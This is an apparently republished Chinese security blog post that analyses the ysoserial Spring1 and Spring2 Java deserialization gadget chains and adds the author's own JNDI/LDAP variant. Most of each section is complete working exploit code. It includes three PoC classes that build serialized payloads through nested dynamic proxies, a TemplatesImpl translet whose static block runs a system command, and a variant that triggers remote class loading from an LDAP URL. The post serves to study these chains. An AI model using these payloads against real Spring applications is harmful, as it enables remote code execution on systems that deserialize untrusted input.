java反序列化 java反序列化之yso中的spring链子分析 Sherlock 2025-04-28 2025-05-08
首发于先知社区,原文作者:Sherlock,原文链接:https://xz.aliyun.com/news/17923
前言 最近开始学习spring链子,看网上分析spring链子的文章不多,讲的也比较简单,还都是yso中的spring1的链子分析,特此出一篇文章来详细分析spring1和spring2链子
Spring1 spring版本范围在3.0.0到4.1.4
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependencies > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-core</artifactId > <version > 4.1.4.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-beans</artifactId > <version > 4.1.4.RELEASE</version > </dependency > </dependencies >
链子分析 链子如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
该链子运用到了三层动态代理,因此要求我们对动态代理的原理和利用要有一个较为清晰的认识,关于动态代理的相关知识可详见一篇文章:https://cina666.github.io/2024/11/06/JDK%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/
好了接下来我们开始正式分析
首先我们先看入口,也就是SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
这里主要就是通过反射完成方法调用,按照我们之前所学的肯定就要想到调用TemplatesImpl.newTransformer()
来实现任意类加载从而可以执行任意命令
因此我们正常思路下我需要让this.provider.getType()
返回TemplatesImpl对象,this.methodName
为newTransformer()方法,mehodName可直接通过反射赋值
看眼getType()方法
返回的是this.result
,而在构造函数里面result是transient,不可被序列化的,相当于这个方法对我们来说是无用的,这个时候我们就要用上动态代理了,当调用getType()方法的时候通过InvocationHandler的处理让其返回的是TemplatesImpl对象,而在学cc链的过程中我们有接触到这么一个类AnnotationInvocationHandler,它的invoke方法可以通过控制memberValues的属性来让其返回特定的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
究其原因在于 memberValues是一个Map<String,Object>类型的对象,我们可以设置键为getType,值为我们的TemplatesImpl对象便可以返回我们想要的,链子不应该就这么结束了吗
其实不然,回看getType()方法,它要求的是要返回一个Type类型的数据,而我们返回TemplatesImpl对象的话便会产生类型上的冲突,强转不了导致报错
所以我们通过getType()还要返回一个动态代理对象,其必须实现Type和Templates接口
那么要选择哪一个InvocationHandler,才能够让我们在调用该动态代理对象的newTransformer方法的时候调用到我们TemplatesImpl对象的newTransfoemer方法呢
注意一下,上面讲的调用该动态代理对象的newTransformer方法是在ReflectionUtils.invokeMethod()里调用的
1 2 3 4 5 6 7 8 9 10 11 12 13 public static Object invokeMethod (Method method, Object target) { return invokeMethod(method, target, new Object [0 ]); } public static Object invokeMethod (Method method, Object target, Object... args) { try { return method.invoke(target, args); } catch (Exception ex) { handleReflectionException(ex); } throw new IllegalStateException ("Should never get here" ); }
yso的作者替我们找到了答案,即AutowireUtils.ObjectFactoryDelegatingInvocationHandler
看下它的invoke方法
重点关注return method.invoke(this.objectFactory.getObject(), args);
,通过这个我们可以知道只要我们控制this.objectFactory.getObject()
的返回值为我们的TemplatesImpl对象便可以了
又提到了控制,那么自然而然地就又想到了通过前面提到的动态代理,也就是让this.objectFactory
为一个代理对象,其InvocationHandler自然就还是AnnotationInvocationHandler,但是这一次的memberValues的键就要换成getObject,值还是我们亲爱的TemplatesImpl对象
在这里我们便可以实现反射调用TemplatesImpl的newTransformer方法,从而实现任意类加载
调试 综上所述,我们的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.springframework.beans.factory.ObjectFactory;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Main { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setField(templates, "_name" , "aaa" ); byte [] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class" )); byte [][] codes = {code}; setField(templates,"_bytecodes" , codes); setField(templates,"_tfactory" , new TransformerFactoryImpl ()); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("getObject" , templates); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, hashMap); ObjectFactory<?> objectFactory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{ObjectFactory.class}, invocationHandler); Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor<?> constructor2 = clazz.getDeclaredConstructors()[0 ]; constructor2.setAccessible(true ); InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactory); Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Templates.class}, invocationHandler2); HashMap<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put("getType" , type); InvocationHandler invocationHandler3 = (InvocationHandler) constructor.newInstance(Target.class, hashMap2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, invocationHandler3); Class<?> class2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> constructor3 = class2.getDeclaredConstructors()[0 ]; constructor3.setAccessible(true ); Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString" ), 0 ); setField(object, "methodName" , "newTransformer" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(object); byte [] serializedBytes = byteArrayOutputStream.toByteArray(); String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes); System.out.println(base64Encoded); byte [] decodedBytes = Base64.getDecoder().decode(base64Encoded); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (decodedBytes)); objectInputStream.readObject(); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } }
其中的Test.class文件的具体内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
那ok,我们进行调试
跟进getType方法,按照动态代理的原理,就会直接跳到InvocationHandler中的invoke方法处,如下:
从merberValues中读到了getType的值,也就是同时实现Type和Templates接口的代理对象,后返回result
通过ReflectionUtils.findMethod
方法成功获取到了我们想要的newTransformer方法
往下走,跟进invokeMethod方法(该行中的this.provider.getType()
返回的依然是同时实现Type和Templates接口的代理对象)
再跟进invoke方法
便走到了AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
方法中,method是newTrnasFormer方法所以都不会走进if里面
继续往下走
根据poc我们可以知道该处的this.objectFactory是一个代理对象,调用getObject()方法便会走到其InvocationHandler的invoke方法中
跟进
我们可以看到返回的result便是我们心心念念的TemplatesImpl对象
往下走,返回后,return method.invoke(this.objectFactory.getObject(), args);
代码其实就是return method.invoke(templates, args);
成功调用TemplatesImpl的newTransformer方法,实现任意类加载
弹出计算器
Spring2 依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependencies > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-core</artifactId > <version > 4.1.4.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-beans</artifactId > <version > 4.1.4.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 4.1.4.RELEASE</version > </dependency > </dependencies >
链子分析 链子如下:
该条链子与Spring1的前半条链子是一样的,入口都是SerializableTypeWrapper$MethodInvokeTypeProvider.readObject
这条链子主要是为了说明ObjectFactoryDelegatingInvocationHandler并不是关键所在,即使它被禁了我们依然有其他的方法可以成功实现任意类加载
这里所用的关键InvocationHandler除了AnnotationInvocationHandler之外就是JdkDynamicAopProxy
我们进该类的invoke方法看一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { MethodInvocation invocation; Object oldProxy = null ; boolean setProxyContext = false ; TargetSource targetSource = this .advised.targetSource; Class<?> targetClass = null ; Object target = null ; try { if (!this .equalsDefined && AopUtils.isEqualsMethod(method)) { return equals(args[0 ]); } if (!this .hashCodeDefined && AopUtils.isHashCodeMethod(method)) { return hashCode(); } if (!this .advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) { return AopUtils.invokeJoinpointUsingReflection(this .advised, method, args); } Object retVal; if (this .advised.exposeProxy) { oldProxy = AopContext.setCurrentProxy(proxy); setProxyContext = true ; } target = targetSource.getTarget(); if (target != null ) { targetClass = target.getClass(); } List<Object> chain = this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); if (chain.isEmpty()) { retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); } . . . . . return retVal; } finally { if (target != null && !targetSource.isStatic()) { targetSource.releaseTarget(target); } if (setProxyContext) { AopContext.setCurrentProxy(oldProxy); } } }
从提供的链子可知首先我们要关注的是retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);
跟进invokeJoinpointUsingReflection方法
里面就是简简单单对方法进行了反射调用
所以重点看参数target:target = targetSource.getTarget();
再看targetSource:TargetSource targetSource = this.advised.targetSource;
再跟进targetSource我们可以发现是在AdvisedSupport类里面调用了setTarget方法来进行赋值的
因此我们只需要在调用setTarget的时候将其参数target设为我们的TemplatesImpl对象就可以了,那么最后在invokeJoinpointUsingReflection方法里反射调用的就是我们的TemplatesImpl对象的newTransformer方法了
调试 综上所述,我们的poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.target.SingletonTargetSource;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Poc { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setField(templates, "_name" , "aaa" ); byte [] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class" )); byte [][] codes = {code}; setField(templates,"_bytecodes" , codes); setField(templates,"_tfactory" , new TransformerFactoryImpl ()); AdvisedSupport as = new AdvisedSupport (); as.setTargetSource(new SingletonTargetSource (templates)); Class<?> c =Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> constructor = c.getDeclaredConstructors()[0 ]; constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(as); Type typeTemplatesProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class []{Type.class, Templates.class}, invocationHandler); Map<String, Object> hashMap = new HashMap <>(); hashMap.put("getType" , typeTemplatesProxy); Class<?> class2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor2 = class2.getDeclaredConstructor(Class.class, Map.class); constructor2.setAccessible(true ); InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(Target.class, hashMap); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, invocationHandler2); Class<?> class3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> constructor3 = class3.getDeclaredConstructors()[0 ]; constructor3.setAccessible(true ); Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString" ), 0 ); setField(object, "methodName" , "newTransformer" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(object); byte [] serializedBytes = byteArrayOutputStream.toByteArray(); String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes); System.out.println(base64Encoded); byte [] decodedBytes = Base64.getDecoder().decode(base64Encoded); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (decodedBytes)); objectInputStream.readObject(); } public static void setField (Object object,String fieldName,Object value) throws Exception { Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
前面的调试都是一样的,这边直接省略,直接跳到调用invokeMethod方法,跟进去
我们便来到了JdkDynamicAopProxy类的invoke方法里
继续往下走
target获取到了我们的TemplatesImpl对象
继续往下走
跟进
方法反射调用,成功弹出计算器
攻击面拓展 学习完这两条链子之后我就思考着要是TemplatesImpl类被禁掉了要怎么办,在网上搜寻了一番后发现没有现成的文章来讲述相关的解决办法,所以打算自己尝试一手
我想的是将该链子与jndi注入联系起来,从而实现远程类加载
思路有了那么接下来就是要找到合适的实现类了,最开始我想到的是JDBcRowSetImpl类,利用它的getDatabaseMetaData()方法
但是嘞由于我们链子前面都是用到了代理,所以也就说明我们所找的这个方法必须是位于接口中的,很遗憾该方法就只位于JDBcRowSetImpl类里面,所以用不了
接下来又到处找实现类,全局搜索lookup方法等等,都没有找到我所需要的
直到突然之间想起了之前看过的一篇文章:http://blog.potatowo.top/2025/03/23/%E8%BD%AF%E4%BB%B6%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E8%B5%9B2025%E5%8D%8E%E4%B8%9C%E8%B5%9B%E5%8C%BA%E5%8D%8A%E5%86%B3%E8%B5%9Bwp-web/
在这篇文章里面提到了一个类com.sun.jndi.ldap.LdapAttribute
,其有个getAttributeDefinition()方法,其中调用了lookup()
该类继承了BasicAttribute类,跟过去
BasicAttribute类实现了Attribute接口,在这个接口中定义了getAttributeDefinition()方法
很好,一切都对上了,这就是我找了许久的类
重新改一下我们的poc,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package org.example;import org.springframework.beans.factory.ObjectFactory;import sun.reflect.ReflectionFactory;import javax.naming.CompositeName;import javax.naming.directory.Attribute;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Main { public static void main (String[] args) throws Exception { Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute" ); Class c2 = Class.forName("javax.naming.directory.BasicAttribute" ); Object ldap = createObjWithConstructor(c1,c2,new Class []{String.class},new Object []{"6924bf" }); setField(ldap,"rdn" ,new CompositeName ("a//b" )); setField(ldap,"baseCtxURL" ,"ldap://127.0.0.1:50389/" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("getObject" , ldap); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, hashMap); ObjectFactory<?> objectFactory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{ObjectFactory.class}, invocationHandler); Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor<?> constructor2 = clazz.getDeclaredConstructors()[0 ]; constructor2.setAccessible(true ); InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactory); Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Type.class, Attribute.class}, invocationHandler2); HashMap<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put("getType" , type); InvocationHandler invocationHandler3 = (InvocationHandler) constructor.newInstance(Target.class, hashMap2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" ); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{typeProviderClass}, invocationHandler3); Class<?> class2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor<?> constructor3 = class2.getDeclaredConstructors()[0 ]; constructor3.setAccessible(true ); Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString" ), 0 ); setField(object, "methodName" , "getAttributeDefinition" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(object); byte [] serializedBytes = byteArrayOutputStream.toByteArray(); String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes); System.out.println(base64Encoded); byte [] decodedBytes = Base64.getDecoder().decode(base64Encoded); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (decodedBytes)); objectInputStream.readObject(); } public static void setField (Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{ Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes); constructor.setAccessible(true ); Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true ); return (T) constructor1.newInstance(argsValues); } }
进行测试,成功弹出计算器
然后后面进行一个调试,发现其实进行了一个远程类加载的相关代码并不是getAttributeDefinition()方法中最明显的lookup函数
这边笔者就不进行调试了,想调试的可以自己去试试,调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 c_lookup:1085, LdapCtx (com.sun.jndi.ldap) c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx) c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx) p_resolveIntermediate:439, ComponentContext (com.sun.jndi.toolkit.ctx) p_getSchema:432, ComponentDirContext (com.sun.jndi.toolkit.ctx) getSchema:422, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx) getSchema:210, InitialDirContext (javax.naming.directory) getAttributeDefinition:207, LdapAttribute (com.sun.jndi.ldap) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invoke:307, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support) getAttributeDefinition:-1, $Proxy1 (com.sun.proxy) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeMethod:202, ReflectionUtils (org.springframework.util) invokeMethod:187, ReflectionUtils (org.springframework.util) readObject:404, SerializableTypeWrapper$MethodInvokeTypeProvider (org.springframework.core) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) main:66, Main (org.example)
总结 spring1和spring2的链子都与动态代理密切相关,建议是先熟练掌握了动态代理之后再来学习这两条链子会比较轻松
对于这两条链的利用肯定不止笔者这里提到的这些,大家有兴趣的也可以自己去找找看